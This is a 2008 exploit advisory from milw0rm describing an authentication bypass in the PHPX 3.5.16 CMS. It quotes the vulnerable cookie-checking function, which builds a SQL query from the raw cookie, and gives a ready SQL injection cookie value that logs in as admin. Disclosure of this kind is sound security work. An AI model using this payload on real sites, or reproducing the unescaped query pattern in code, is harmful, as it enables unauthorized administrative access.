PHPX 3.5.16 - Cookie Poisoning / Authentication Bypass

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                               = gnix =

                       gnixmail at gmail dot com
                        http://gnix.netsons.org


Application:  phpx
              http://www.phpx.org/project.php (stable version)
Versions:     3.5.16
Platforms:    All
Bug:          Cookie poisoning / Login bypass
Date:         31 July 2008



=======================================================================

  1. Intro
  2. Cookie poisoning and login bypass



=======================================================================

  1. Intro
  ========

PHPX is a web portal system, blog,Content Management System (CMS), forums,
and more. All files are currently hosted at http://www.phpx.org/project.php



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  2. Cookie poisoning and login bypass
  ====================================

Every file in phpx-3.5.16/ directory have two lines of code: one for
include includes/functions.inc.php, and another to create a website object.
website's constructor will call checkCookie.


  Source code (includes/functions.inc.php)
  ---------------------------------------------------------------------
  class website {
    ...

    function website(){
      ...

      $this->checkCookie();
  ---------------------------------------------------------------------


The function checkCookie set the user_id if PXL cookie is set and the
query return an user_id, and an username.


  Vulnerable code (includes/functions.inc.php lines 75 to 89)
  ---------------------------------------------------------------------
  function checkCookie(){

    if ($_COOKIE[PXL]){
      list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");
      if (!$user_id){
        setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
        $head = "Location: http://" . $_SERVER["HTTP_HOST"] .  $_SERVER["REQUEST_URI"];
        header($head);
      }
      else {
        if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
          $this->user_id = $user_id;
      }
    }
  }
  ---------------------------------------------------------------------


This user_id is then used in the website constructor for set the user_id
of the core class.


  Source code (includes/functions.inc.php line 32)
  ---------------------------------------------------------------------
  $this->core->user_id = $this->user_id;
  ---------------------------------------------------------------------


Now if you want to get the admin privileges and by pass the login, you
have to create a cookie like this below:


  ---------------------------------------------------------------------
  PXL=a' OR username='admin
  ---------------------------------------------------------------------


To do that you can use 'Modify Headers'.



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# milw0rm.com [2008-07-31]